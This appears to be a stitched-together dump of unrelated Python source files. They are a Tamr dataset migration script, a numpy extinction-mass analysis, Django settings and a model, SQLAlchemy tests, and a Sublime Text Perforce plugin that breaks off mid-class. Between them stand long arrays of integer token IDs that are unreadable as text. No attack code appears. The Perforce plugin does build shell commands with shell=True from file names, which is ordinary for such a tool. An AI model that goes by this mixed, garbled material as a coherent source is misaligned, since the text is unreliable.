3707, 580, 13, 1678, 2181, 609, 370, 29918, 2467, 29889, 978, 353, 525, 1357, 29918, 816, 14989, 29918, 9057, 29915, 13, 1678, 2181, 609, 370, 29918, 2467, 29889, 8216, 353, 525, 4102, 590, 20410, 4982, 29915, 13, 1678, 2181, 609, 370, 29918, 2467, 29889, 7620, 580, 13, 1678, 565, 2906, 29901, 13, 4706, 17927, 29889, 8382, 877, 1357, 29918, 816, 14989, 4982, 1495, 13, 1678, 1596, 29898, 710, 29898, 12673, 29889, 12673, 29889, 3707, 3101, 718, 376, 259, 590, 29918, 816, 14989, 29918, 9057, 1159, 13, 13, 13, 1753, 1623, 29918, 28549, 29918, 29879, 14551, 29898, 7620, 29922, 5574, 1125, 13, 1678, 9995, 13, 268, 31951, 232, 144, 141, 30446, 30594, 31024, 30683, 30557, 30461, 31632, 232, 194, 174, 234, 136, 170, 13, 1678, 584, 2457, 29901, 29871, 30461, 31632, 232, 194, 174, 234, 136, 170, 13, 1678, 9995, 13, 13, 1678, 565, 338, 29918, 29576, 5410, 29918, 3707, 7295, 13, 4706, 2635, 353, 12865, 29889, 12673, 29889, 3707, 580, 13, 4706, 2635, 5015, 353, 2635, 29889, 710, 615, 603, 877, 29995, 29979, 19222, 29885, 19222, 29881, 29918, 29995, 29950, 19222, 29924, 19222, 29903, 1495, 13, 4706, 13911, 362, 353, 4780, 23083, 362, 29889, 1509, 877, 29879, 1099, 1495, 13, 4706, 22395, 353, 13911, 362, 29889, 28549, 29918, 29879, 14551, 29898, 13506, 29922, 5574, 29897, 13, 4706, 9999, 29918, 29879, 14551, 353, 28794, 21913, 29898, 1256, 29922, 1256, 29892, 3030, 29922, 29879, 14551, 29897, 13, 4706, 9999, 29918, 29879, 14551, 29889, 7620, 580, 13, 4706, 4489, 29918, 29879, 14551, 353, 10518, 29889, 17271, 29889, 3166, 29918, 8977, 29898, 29879, 14551, 29897, 13, 4706, 4489, 29918, 29879, 14551, 353, 4489, 29918, 29879, 14551, 29889, 29911, 13, 4706, 4489, 29918, 29879, 14551, 29889, 2248, 29889, 978, 353, 525, 401, 29915, 13, 4706, 565, 4078, 29901, 13, 9651, 4489, 29918, 29879, 14551, 29889, 517, 29918, 7638, 29898, 3137, 29889, 7717, 29020, 29889, 1272, 29918, 2084, 718, 376, 3502, 29918, 29879, 14551, 12975, 718, 2635, 5015, 718, 11393, 7638, 613, 24221, 2433, 29887, 7554, 1495, 13, 4706, 736, 4489, 29918, 29879, 14551, 13, 13, 13, 1753, 1623, 29918, 17712, 29918, 2248, 29918, 29879, 14551, 29898, 7620, 29922, 5574, 1125, 13, 1678, 13911, 362, 353, 4780, 23083, 362, 29889, 1509, 877, 29879, 1099, 1495, 13, 1678, 2793, 353, 13911, 362, 29889, 17712, 29879, 18959, 845, 29900, 29900, 29900, 29900, 29900, 29896, 742, 525, 3616, 29941, 29929, 29929, 29900, 29900, 29896, 742, 525, 3616, 29941, 29929, 29929, 29900, 29900, 29953, 7464, 10944, 29922, 5574, 29897, 13, 1678, 1209, 13, 13, 13, 1753, 1623, 29918, 1639, 342, 29918, 17712, 7295, 13, 1678, 9995, 13, 268, 30557, 31526, 233, 135, 162, 31914, 235, 185, 166, 30210, 235, 133, 164, 234, 168, 171, 30210, 30748, 30594, 31410, 31283, 13, 1678, 584, 2457, 29901, 13, 1678, 9995, 13, 1678, 10961, 29879, 353, 10224, 29889, 12724, 29889, 4572, 29898, 275, 29918, 1639, 342, 29922, 5574, 29897, 13, 1678, 1209, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 4489, 353, 1623, 29918, 28549, 29918, 29879, 14551, 29898, 7620, 29922, 8824, 29897, 13, 2 ]
examples/snippets/dataset/manage/migrate_dataset_changes.py
ErinCompaan/tamr-toolbox
1
121511
""" An example script to migrate changes to a dataset attributes from one instance of Tamr to another """ import tamr_toolbox as tbox # load example multi config my_config = tbox.utils.config.from_yaml("examples/resources/conf/migrate_dataset.config.yaml") # Create the source tamr client source_client = tbox.utils.client.create(**my_config["source_migration_instance"]) # Create the target tamr client target_client = tbox.utils.client.create(**my_config["target_migration_instance"]) # Update each dataset datasets = my_config["datasets"] for ds in datasets: dataset_name = ds["dataset_name"] # Get dataset from source instance source_dataset = source_client.datasets.by_name(dataset_name) # Get updated dataset definition attr_type_dict = { attr.name: tbox.models.attribute_type.from_json(attr.spec().to_dict()["type"]) for attr in source_dataset.attributes } attribute_names = attr_type_dict.keys() description = source_dataset.description tags = source_dataset.tags # Migrate dataset updates from source to target instance if tbox.dataset.manage.exists(client=target_client, dataset_name=dataset_name): target_dataset = target_client.datasets.by_name(dataset_name) tbox.dataset.manage.update( dataset=target_dataset, attributes=attribute_names, attribute_types=attr_type_dict, description=description, tags=tags, override_existing_types=True, ) else: primary_keys = source_dataset.spec().to_dict()["keyAttributeNames"] tbox.dataset.manage.create( client=target_client, primary_keys=primary_keys, dataset=source_dataset, )
[ 1, 9995, 13, 2744, 1342, 2471, 304, 9725, 403, 3620, 304, 263, 8783, 8393, 515, 697, 2777, 310, 16939, 29878, 304, 1790, 13, 15945, 29908, 13, 5215, 21308, 29878, 29918, 10154, 1884, 408, 260, 1884, 13, 13, 29937, 2254, 1342, 2473, 2295, 13, 1357, 29918, 2917, 353, 260, 1884, 29889, 13239, 29889, 2917, 29889, 3166, 29918, 25162, 703, 19057, 29914, 13237, 29914, 5527, 29914, 26983, 403, 29918, 24713, 29889, 2917, 29889, 25162, 1159, 13, 13, 29937, 6204, 278, 2752, 21308, 29878, 3132, 13, 4993, 29918, 4645, 353, 260, 1884, 29889, 13239, 29889, 4645, 29889, 3258, 29898, 1068, 1357, 29918, 2917, 3366, 4993, 29918, 29885, 16783, 29918, 8758, 20068, 13, 13, 29937, 6204, 278, 3646, 21308, 29878, 3132, 13, 5182, 29918, 4645, 353, 260, 1884, 29889, 13239, 29889, 4645, 29889, 3258, 29898, 1068, 1357, 29918, 2917, 3366, 5182, 29918, 29885, 16783, 29918, 8758, 20068, 13, 13, 29937, 10318, 1269, 8783, 13, 14538, 1691, 353, 590, 29918, 2917, 3366, 14538, 1691, 3108, 13, 1454, 18031, 297, 20035, 29901, 13, 1678, 8783, 29918, 978, 353, 18031, 3366, 24713, 29918, 978, 3108, 13, 13, 1678, 396, 3617, 8783, 515, 2752, 2777, 13, 1678, 2752, 29918, 24713, 353, 2752, 29918, 4645, 29889, 14538, 1691, 29889, 1609, 29918, 978, 29898, 24713, 29918, 978, 29897, 13, 13, 1678, 396, 3617, 4784, 8783, 5023, 13, 1678, 12421, 29918, 1853, 29918, 8977, 353, 426, 13, 4706, 12421, 29889, 978, 29901, 260, 1884, 29889, 9794, 29889, 12715, 29918, 1853, 29889, 3166, 29918, 3126, 29898, 5552, 29889, 6550, 2141, 517, 29918, 8977, 580, 3366, 1853, 20068, 13, 4706, 363, 12421, 297, 2752, 29918, 24713, 29889, 15697, 13, 1678, 500, 13, 1678, 5352, 29918, 7039, 353, 12421, 29918, 1853, 29918, 8977, 29889, 8149, 580, 13, 13, 1678, 6139, 353, 2752, 29918, 24713, 29889, 8216, 13, 1678, 8282, 353, 2752, 29918, 24713, 29889, 11338, 13, 13, 1678, 396, 341, 4481, 403, 8783, 11217, 515, 2752, 304, 3646, 2777, 13, 1678, 565, 260, 1884, 29889, 24713, 29889, 1171, 482, 29889, 9933, 29898, 4645, 29922, 5182, 29918, 4645, 29892, 8783, 29918, 978, 29922, 24713, 29918, 978, 1125, 13, 4706, 3646, 29918, 24713, 353, 3646, 29918, 4645, 29889, 14538, 1691, 29889, 1609, 29918, 978, 29898, 24713, 29918, 978, 29897, 13, 4706, 260, 1884, 29889, 24713, 29889, 1171, 482, 29889, 5504, 29898, 13, 9651, 8783, 29922, 5182, 29918, 24713, 29892, 13, 9651, 8393, 29922, 12715, 29918, 7039, 29892, 13, 9651, 5352, 29918, 8768, 29922, 5552, 29918, 1853, 29918, 8977, 29892, 13, 9651, 6139, 29922, 8216, 29892, 13, 9651, 8282, 29922, 11338, 29892, 13, 9651, 5712, 29918, 735, 15423, 29918, 8768, 29922, 5574, 29892, 13, 4706, 1723, 13, 1678, 1683, 29901, 13, 4706, 7601, 29918, 8149, 353, 2752, 29918, 24713, 29889, 6550, 2141, 517, 29918, 8977, 580, 3366, 1989, 6708, 8659, 3108, 13, 4706, 260, 1884, 29889, 24713, 29889, 1171, 482, 29889, 3258, 29898, 13, 9651, 3132, 29922, 5182, 29918, 4645, 29892, 7601, 29918, 8149, 29922, 16072, 29918, 8149, 29892, 8783, 29922, 4993, 29918, 24713, 29892, 13, 4706, 1723, 13, 2 ]
code/debugging-example-pleistocene-overkill.py
Vegpathology/phyto-data-viz
60
105199
<reponame>Vegpathology/phyto-data-viz import numpy as np def mean_mass(masses): """Return the mean of a list of masses""" mean_mass = np.mean(masses) return mean_mass all_data = np.genfromtxt('MOMv3.3.txt', delimiter='\t', dtype=None, names=['continent', 'status', 'order', 'family', 'genus', 'species', 'log10mass', 'mass', 'ref']) continents = all_data['continent'] status = all_data['status'] masses = all_data['mass'] unique_continents = np.unique(continents) results = [] for continent in unique_continents: extinct_masses = masses[(status=='extinct') & (continents==continent)] extant_masses = masses[(status=='extant') & (continents==continent)] avg_extinct_mass = mean_mass(extinct_masses) avg_extant_mass = mean_mass(extant_masses) diff = avg_extant_mass - avg_extinct_mass results.append([continent, avg_extant_mass, avg_extinct_mass, diff]) for line in results: print line
[ 1, 529, 276, 1112, 420, 29958, 29963, 387, 2084, 3002, 29914, 11461, 517, 29899, 1272, 29899, 29894, 466, 13, 5215, 12655, 408, 7442, 13, 13, 1753, 2099, 29918, 25379, 29898, 25379, 267, 1125, 13, 1678, 9995, 11609, 278, 2099, 310, 263, 1051, 310, 23063, 15945, 29908, 13, 1678, 2099, 29918, 25379, 353, 7442, 29889, 12676, 29898, 25379, 267, 29897, 13, 1678, 736, 2099, 29918, 25379, 13, 13, 497, 29918, 1272, 353, 7442, 29889, 1885, 3166, 3945, 877, 29924, 6488, 29894, 29941, 29889, 29941, 29889, 3945, 742, 28552, 2433, 29905, 29873, 742, 26688, 29922, 8516, 29892, 13, 462, 3986, 2983, 29922, 1839, 1285, 8946, 742, 525, 4882, 742, 525, 2098, 742, 525, 11922, 742, 13, 462, 462, 525, 1885, 375, 742, 525, 24091, 742, 525, 1188, 29896, 29900, 25379, 742, 525, 25379, 742, 525, 999, 11287, 13, 13, 1285, 262, 1237, 353, 599, 29918, 1272, 1839, 1285, 8946, 2033, 13, 4882, 353, 599, 29918, 1272, 1839, 4882, 2033, 13, 25379, 267, 353, 599, 29918, 1272, 1839, 25379, 2033, 13, 13, 13092, 29918, 1285, 262, 1237, 353, 7442, 29889, 13092, 29898, 1285, 262, 1237, 29897, 13, 9902, 353, 5159, 13, 1454, 25523, 297, 5412, 29918, 1285, 262, 1237, 29901, 13, 1678, 1294, 5562, 29918, 25379, 267, 353, 23063, 15625, 4882, 1360, 29915, 1062, 5562, 1495, 669, 313, 1285, 262, 1237, 1360, 1285, 8946, 4638, 13, 1678, 1294, 424, 29918, 25379, 267, 353, 23063, 15625, 4882, 1360, 29915, 1062, 424, 1495, 669, 313, 1285, 262, 1237, 1360, 1285, 8946, 4638, 13, 1678, 1029, 29887, 29918, 1062, 5562, 29918, 25379, 353, 2099, 29918, 25379, 29898, 1062, 5562, 29918, 25379, 267, 29897, 13, 1678, 1029, 29887, 29918, 1062, 424, 29918, 25379, 353, 2099, 29918, 25379, 29898, 1062, 424, 29918, 25379, 267, 29897, 13, 1678, 2923, 353, 1029, 29887, 29918, 1062, 424, 29918, 25379, 448, 1029, 29887, 29918, 1062, 5562, 29918, 25379, 13, 1678, 2582, 29889, 4397, 4197, 1285, 8946, 29892, 1029, 29887, 29918, 1062, 424, 29918, 25379, 29892, 1029, 29887, 29918, 1062, 5562, 29918, 25379, 29892, 2923, 2314, 13, 268, 13, 1454, 1196, 297, 2582, 29901, 13, 1678, 1596, 1196, 2 ]
edd/settings/__init__.py
TeselaGen/jbei-edd
0
96189
<gh_stars>0 # -*- coding: utf-8 -*- """ Settings for the Experiment Data Depot. """ # import baseline settings included in EDD's git repo from .base import * # noqa from .auth import * # noqa from .celery import * # noqa # try to load overridden settings from local.py, if present try: from .local import * # noqa except ImportError as e: print("Did not find local settings; did you rename settings/local.py-example?") # After all settings are imported, do any necessary registration of values try: from jbei.rest.auth import HmacAuth HmacAuth.register_key(ICE_KEY_ID, ICE_SECRET_HMAC_KEY) # noqa except ImportError as e: print("Failed to import REST authenticators; some features may not work.") except Exception as e: print("Failed to register ICE authenticator; connection to ICE may not work: %s" % e)
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 15945, 29908, 19215, 363, 278, 1222, 15362, 3630, 10034, 327, 29889, 9995, 13, 13, 29937, 1053, 2362, 5570, 6055, 5134, 297, 382, 7858, 29915, 29879, 6315, 13761, 13, 3166, 869, 3188, 1053, 334, 29871, 396, 694, 25621, 13, 3166, 869, 5150, 1053, 334, 29871, 396, 694, 25621, 13, 3166, 869, 2242, 708, 1053, 334, 29871, 396, 694, 25621, 13, 13, 29937, 1018, 304, 2254, 20831, 1145, 6055, 515, 1887, 29889, 2272, 29892, 565, 2198, 13, 2202, 29901, 13, 1678, 515, 869, 2997, 1053, 334, 29871, 396, 694, 25621, 13, 19499, 16032, 2392, 408, 321, 29901, 13, 1678, 1596, 703, 9260, 451, 1284, 1887, 6055, 29936, 1258, 366, 19508, 6055, 29914, 2997, 29889, 2272, 29899, 4773, 29973, 1159, 13, 13, 29937, 2860, 599, 6055, 526, 19673, 29892, 437, 738, 5181, 22583, 310, 1819, 13, 2202, 29901, 13, 1678, 515, 432, 27242, 29889, 5060, 29889, 5150, 1053, 379, 8628, 6444, 13, 1678, 379, 8628, 6444, 29889, 9573, 29918, 1989, 29898, 12107, 29918, 10818, 29918, 1367, 29892, 306, 4741, 29918, 1660, 22245, 29911, 29918, 29950, 1529, 29907, 29918, 10818, 29897, 29871, 396, 694, 25621, 13, 19499, 16032, 2392, 408, 321, 29901, 13, 1678, 1596, 703, 17776, 304, 1053, 16759, 15585, 4097, 29936, 777, 5680, 1122, 451, 664, 23157, 13, 19499, 8960, 408, 321, 29901, 13, 1678, 1596, 703, 17776, 304, 6036, 306, 4741, 15585, 1061, 29936, 3957, 304, 306, 4741, 1122, 451, 664, 29901, 1273, 29879, 29908, 1273, 321, 29897, 13, 2 ]
tests/test_SQL.py
mfulghum/pyZRD
0
61249
import unittest import sql.db import sql.elements class TestSQLConnection(unittest.TestCase): def test_initialization(self): """ Start up the SQLAlchemy engine and initialize the database, then shut it all down. :return: """ # Initialize the database. session, engine = sql.db.initialize_database(verbose=False) # Check that the database is shut down. self.assertIsNotNone(engine) self.assertIsNotNone(session) # Shut the database down. sql.db.shutdown_database(session, engine) class TestSQLCommit(unittest.TestCase): def setUp(self): """ :return: """ self.session, self.engine = sql.db.initialize_database(verbose=False) def test_commit(self): """ Start up the SQLAlchemy engine and initialize the database :return: """ # First make sure that we have a SQL session self.assertIsNotNone(self.engine) self.assertIsNotNone(self.session) # Create a ray element without assigning an ID ray = sql.elements.Ray() # The ID should be None self.assertIsNone(ray.id) # Add the ray to the session self.session.add(ray) # The ID should *still* be None self.assertIsNone(ray.id) # Commit the change self.session.commit() # Now that the ray has been added, the ray ID should now be 1 self.assertEqual(ray.id, 1) def tearDown(self): """ Shut down the SQL database :return: """ sql.db.shutdown_database(self.session, self.engine)
[ 1, 1053, 443, 27958, 13, 13, 5215, 4576, 29889, 2585, 13, 5215, 4576, 29889, 17664, 13, 13, 1990, 4321, 4176, 5350, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 1243, 29918, 11228, 2133, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 7370, 701, 278, 3758, 2499, 305, 6764, 6012, 322, 11905, 278, 2566, 29892, 769, 12522, 372, 599, 1623, 29889, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 396, 25455, 278, 2566, 29889, 13, 4706, 4867, 29892, 6012, 353, 4576, 29889, 2585, 29889, 24926, 29918, 9803, 29898, 369, 15828, 29922, 8824, 29897, 13, 13, 4706, 396, 5399, 393, 278, 2566, 338, 12522, 1623, 29889, 13, 4706, 1583, 29889, 9294, 3624, 3664, 8516, 29898, 10599, 29897, 13, 4706, 1583, 29889, 9294, 3624, 3664, 8516, 29898, 7924, 29897, 13, 13, 4706, 396, 1383, 329, 278, 2566, 1623, 29889, 13, 4706, 4576, 29889, 2585, 29889, 845, 329, 3204, 29918, 9803, 29898, 7924, 29892, 6012, 29897, 13, 13, 1990, 4321, 4176, 1523, 2415, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 9995, 13, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 1583, 29889, 7924, 29892, 1583, 29889, 10599, 353, 4576, 29889, 2585, 29889, 24926, 29918, 9803, 29898, 369, 15828, 29922, 8824, 29897, 13, 13, 1678, 822, 1243, 29918, 15060, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 7370, 701, 278, 3758, 2499, 305, 6764, 6012, 322, 11905, 278, 2566, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 396, 3824, 1207, 1854, 393, 591, 505, 263, 3758, 4867, 13, 4706, 1583, 29889, 9294, 3624, 3664, 8516, 29898, 1311, 29889, 10599, 29897, 13, 4706, 1583, 29889, 9294, 3624, 3664, 8516, 29898, 1311, 29889, 7924, 29897, 13, 13, 4706, 396, 6204, 263, 15570, 1543, 1728, 23188, 385, 3553, 13, 4706, 15570, 353, 4576, 29889, 17664, 29889, 29934, 388, 580, 13, 13, 4706, 396, 450, 3553, 881, 367, 6213, 13, 4706, 1583, 29889, 9294, 3624, 8516, 29898, 764, 29889, 333, 29897, 13, 13, 4706, 396, 3462, 278, 15570, 304, 278, 4867, 13, 4706, 1583, 29889, 7924, 29889, 1202, 29898, 764, 29897, 13, 13, 4706, 396, 450, 3553, 881, 334, 303, 453, 29930, 367, 6213, 13, 4706, 1583, 29889, 9294, 3624, 8516, 29898, 764, 29889, 333, 29897, 13, 13, 4706, 396, 1876, 277, 278, 1735, 13, 4706, 1583, 29889, 7924, 29889, 15060, 580, 13, 13, 4706, 396, 2567, 393, 278, 15570, 756, 1063, 2715, 29892, 278, 15570, 3553, 881, 1286, 367, 29871, 29896, 13, 4706, 1583, 29889, 9294, 9843, 29898, 764, 29889, 333, 29892, 29871, 29896, 29897, 13, 13, 1678, 822, 734, 279, 6767, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 1383, 329, 1623, 278, 3758, 2566, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 4576, 29889, 2585, 29889, 845, 329, 3204, 29918, 9803, 29898, 1311, 29889, 7924, 29892, 1583, 29889, 10599, 29897, 2 ]
APPS/MEMBER/models.py
RockhoRockho/Project_FG
1
191987
<gh_stars>1-10 from django.db import models class Member(models.Model): member_id = models.AutoField(primary_key=True, verbose_name='회원ID') username = models.CharField(max_length=30, verbose_name='아이디') pw = models.CharField(max_length=30, verbose_name='비밀번호') name = models.CharField(max_length=30, verbose_name='이름') gender = models.CharField(max_length=2, verbose_name='성별') email = models.EmailField(max_length=30, verbose_name='이메일') phoneNum = models.IntegerField(verbose_name='폰번호') birth = models.DateField(verbose_name='생년월일') class Meta: db_table = 'member' verbose_name='회원' verbose_name_plural='회원들' def __str__(self): return f'{self.pk} : {self.username}'
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 3166, 9557, 29889, 2585, 1053, 4733, 13, 13, 1990, 19495, 29898, 9794, 29889, 3195, 1125, 13, 1678, 4509, 29918, 333, 353, 4733, 29889, 12300, 3073, 29898, 16072, 29918, 1989, 29922, 5574, 29892, 26952, 29918, 978, 2433, 31953, 31198, 1367, 1495, 13, 1678, 8952, 353, 4733, 29889, 27890, 29898, 3317, 29918, 2848, 29922, 29941, 29900, 29892, 26952, 29918, 978, 2433, 30860, 30393, 238, 151, 151, 1495, 13, 1678, 282, 29893, 353, 4733, 29889, 27890, 29898, 3317, 29918, 2848, 29922, 29941, 29900, 29892, 26952, 29918, 978, 2433, 31487, 238, 179, 131, 238, 181, 139, 31603, 1495, 13, 1678, 1024, 353, 4733, 29889, 27890, 29898, 3317, 29918, 2848, 29922, 29941, 29900, 29892, 26952, 29918, 978, 2433, 30393, 238, 169, 135, 1495, 13, 1678, 23346, 353, 4733, 29889, 27890, 29898, 3317, 29918, 2848, 29922, 29906, 29892, 26952, 29918, 978, 2433, 31126, 238, 182, 135, 1495, 13, 1678, 4876, 353, 4733, 29889, 9823, 3073, 29898, 3317, 29918, 2848, 29922, 29941, 29900, 29892, 26952, 29918, 978, 2433, 30393, 238, 172, 151, 31153, 1495, 13, 1678, 9008, 8009, 353, 4733, 29889, 7798, 3073, 29898, 369, 15828, 29918, 978, 2433, 240, 146, 179, 238, 181, 139, 31603, 1495, 13, 1678, 12060, 353, 4733, 29889, 2539, 3073, 29898, 369, 15828, 29918, 978, 2433, 239, 134, 160, 31571, 31950, 31153, 1495, 13, 268, 13, 1678, 770, 20553, 29901, 13, 4706, 4833, 29918, 2371, 353, 525, 14242, 29915, 29871, 13, 4706, 26952, 29918, 978, 2433, 31953, 31198, 29915, 29871, 13, 4706, 26952, 29918, 978, 29918, 572, 3631, 2433, 31953, 31198, 31804, 29915, 13, 13, 1678, 822, 4770, 710, 12035, 1311, 1125, 13, 4706, 736, 285, 29915, 29912, 1311, 29889, 20571, 29913, 584, 426, 1311, 29889, 6786, 10162, 2 ]
Perforce.py
zillow/Sublime-Text-2-Perforce-Plugin
0
84920
# Written by <NAME> (<EMAIL> / www.ericmartel.com) # Available commands are listed in Default.sublime-commands # changelog # <NAME> - first implementation of add / checkout # <NAME> & <NAME> - handling of forward slashes in clientspec folder # <NAME> & <NAME> - first implementation of revert # <NAME> - first implementation of diff # <NAME> - first implementation of Graphical Diff from Depot # <NAME> - first pass on changelist manipulation # <NAME> - first implementation for rename / delete & added on_modified as a condition to checkout a file # <NAME> - bug fix for better support of client workspaces # <NAME> - better handling of clientspecs # <NAME> - parameterized graphical diff # <NAME> & adecold - only list pending changelists belonging to the current user # <NAME> - source bash_profile when calling p4 on Mac OSX # <NAME> - first implementation of submit # <NAME> - Better handling of P4CONFIG files # <NAME> & <NAME> - threading of the diff task and selector for the graphical diff application # <NAME> - Added the possibility to Submit the default changelist # <NAME> - Added a way to pass p4env parameters to the command building function import sublime import sublime_plugin import os import stat import subprocess import tempfile import threading import json import sys try: from Queue import Queue, Empty except ImportError: from queue import Queue, Empty # python 3.x # Plugin Settings are located in 'perforce.sublime-settings' make a copy in the User folder to keep changes # global variable used when calling p4 - it stores the path of the file in the current view, used to determine with P4CONFIG to use # whenever a view is selected, the variable gets updated global_folder = '' command_prefix = None class PerforceP4CONFIGHandler(sublime_plugin.EventListener): def on_activated(self, view): if view.file_name(): global global_folder global_folder, filename = os.path.split(view.file_name()) if sublime is not None: global command_prefix if command_prefix is None: command_prefix = getCommandPrefix() # Executed at startup to store the path of the plugin... necessary to open files relative to the plugin perforceplugin_dir = os.getcwdu() def getCommandPrefix(): perforce_settings = sublime.load_settings('Perforce.sublime-settings') p4Env = perforce_settings.get('perforce_p4env') if(p4Env and p4Env != ''): return 'source ' + p4Env + ' && ' elif(sublime.platform() == "osx"): return 'source ~/.bash_profile && ' # Revert change until threading is fixed # command_prefix = getPerforceConfigFromPreferences(command) return '' # Utility functions def ConstructCommand(in_command): return command_prefix + in_command if command_prefix is not None else in_command; def getPerforceConfigFromPreferences(command): perforce_settings = sublime.load_settings('Perforce.sublime-settings') # check to see if the sublime preferences include the given p4 config # if it does, then add it to the command in the form "var=value command" # so that they get inserted into the environment the command runs in def addP4Var(command, var): p4var = perforce_settings.get(var) if p4var: if sublime.platform() == "windows": return command + "SET " + var + "=" + p4var + " && " return command + var + "=" + p4var + " " return command command = addP4Var(command, "P4PORT") command = addP4Var(command, "P4CLIENT") command = addP4Var(command, "P4USER") command = addP4Var(command, "P4PASSWD") return command def GetUserFromClientspec(): command = ConstructCommand('p4 info') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): WarnUser("usererr " + err.strip()) return -1 # locate the line containing "User name: " and extract the following name startindex = result.find("User name: ") if(startindex == -1): WarnUser("Unexpected output from 'p4 info'.") return -1 startindex += 11 # advance after 'User name: ' endindex = result.find("\n", startindex) if(endindex == -1): WarnUser("Unexpected output from 'p4 info'.") return -1 return result[startindex:endindex].strip(); def GetClientRoot(in_dir): # check if the file is in the depot command = ConstructCommand('p4 info') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): WarnUser(err.strip()) return -1 # locate the line containing "Client root: " and extract the following path startindex = result.find("Client root: ") if(startindex == -1): # sometimes the clientspec is not displayed sublime.error_message("Perforce Plugin: p4 info didn't supply a valid clientspec, launching p4 client"); command = ConstructCommand('p4 client') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() return -1 startindex += 13 # advance after 'Client root: ' endindex = result.find("\n", startindex) if(endindex == -1): WarnUser("Unexpected output from 'p4 info'.") return -1 # convert all paths to "os.sep" slashes convertedclientroot = result[startindex:endindex].strip().replace('\\', os.sep).replace('/', os.sep) return convertedclientroot def IsFolderUnderClientRoot(in_folder): # check if the file is in the depot clientroot = GetClientRoot(in_folder) if(clientroot == -1): return 0 clientroot = clientroot.lower() if(clientroot == "null"): return 1 # convert all paths to "os.sep" slashes convertedfolder = in_folder.lower().replace('\\', os.sep).replace('/', os.sep); clientrootindex = convertedfolder.find(clientroot); if(clientrootindex == -1): return 0 return 1 def IsFileInDepot(in_folder, in_filename): isUnderClientRoot = IsFolderUnderClientRoot(in_folder); if(os.path.isfile(os.path.join(in_folder, in_filename))): # file exists on disk, not being added if(isUnderClientRoot): return 1 else: return 0 else: if(isUnderClientRoot): return -1 # will be in the depot, it's being added else: return 0 def GetPendingChangelists(): # Launch p4 changes to retrieve all the pending changelists currentuser = GetUserFromClientspec() if(currentuser == -1): return 0, "Unexpected output from 'p4 info'." command = ConstructCommand('p4 changes -s pending -u ' + currentuser) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): return 1, result return 0, result def AppendToChangelistDescription(changelist, input): # First, create an empty changelist, we will then get the cl number and set the description command = ConstructCommand('p4 change -o ' + changelist) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): return 0, err # Find the description field and modify it lines = result.splitlines() descriptionindex = -1 for index, line in enumerate(lines): if(line.strip() == "Description:"): descriptionindex = index break; filesindex = -1 for index, line in enumerate(lines): if(line.strip() == "Files:"): filesindex = index break; if(filesindex == -1): # The changelist is empty endindex = index else: endindex = filesindex - 1 perforce_settings = sublime.load_settings('Perforce.sublime-settings') lines.insert(endindex , "\t" + input) temp_changelist_description_file = open(os.path.join(tempfile.gettempdir(), "tempchangelist.txt"), 'w') try: temp_changelist_description_file.write(perforce_settings.get('perforce_end_line_separator').join(lines)) finally: temp_changelist_description_file.close() command = ConstructCommand('p4 change -i < ' + temp_changelist_description_file.name) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() # Clean up os.unlink(temp_changelist_description_file.name) if(err): return 0, err return 1, result def PerforceCommandOnFile(in_command, in_folder, in_filename): command = ConstructCommand('p4 ' + in_command + ' "' + in_filename + '"') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): return 1, result.strip() else: return 0, err.strip() def WarnUser(message): perforce_settings = sublime.load_settings('Perforce.sublime-settings') if(perforce_settings.get('perforce_warnings_enabled')): if(perforce_settings.get('perforce_log_warnings_to_status')): sublime.status_message("Perforce [warning]: " + message) else: print "Perforce [warning]: " + message def LogResults(success, message): if(success >= 0): print "Perforce: " + message else: WarnUser(message); def IsFileWritable(in_filename): if(not in_filename): return 0 # if it doesn't exist, it's "writable" if(not os.path.isfile(in_filename)): return 1 filestats = os.stat(in_filename)[0]; if(filestats & stat.S_IWRITE): return 1 return 0 # Checkout section def Checkout(in_filename): if(IsFileWritable(in_filename)): return -1, "File is already writable." folder_name, filename = os.path.split(in_filename) isInDepot = IsFileInDepot(folder_name, filename) if(isInDepot != 1): return -1, "File is not under the client root." # check out the file return PerforceCommandOnFile("edit", folder_name, in_filename); class PerforceAutoCheckout(sublime_plugin.EventListener): def on_modified(self, view): if(not view.file_name()): return if(IsFileWritable(view.file_name())): return perforce_settings = sublime.load_settings('Perforce.sublime-settings') # check if this part of the plugin is enabled if(not perforce_settings.get('perforce_auto_checkout') or not perforce_settings.get('perforce_auto_checkout_on_modified')): return if(view.is_dirty()): success, message = Checkout(view.file_name()) LogResults(success, message); def on_pre_save(self, view): perforce_settings = sublime.load_settings('Perforce.sublime-settings') # check if this part of the plugin is enabled if(not perforce_settings.get('perforce_auto_checkout') or not perforce_settings.get('perforce_auto_checkout_on_save')): return if(view.is_dirty()): success, message = Checkout(view.file_name()) LogResults(success, message); class PerforceCheckoutCommand(sublime_plugin.TextCommand): def run(self, edit): 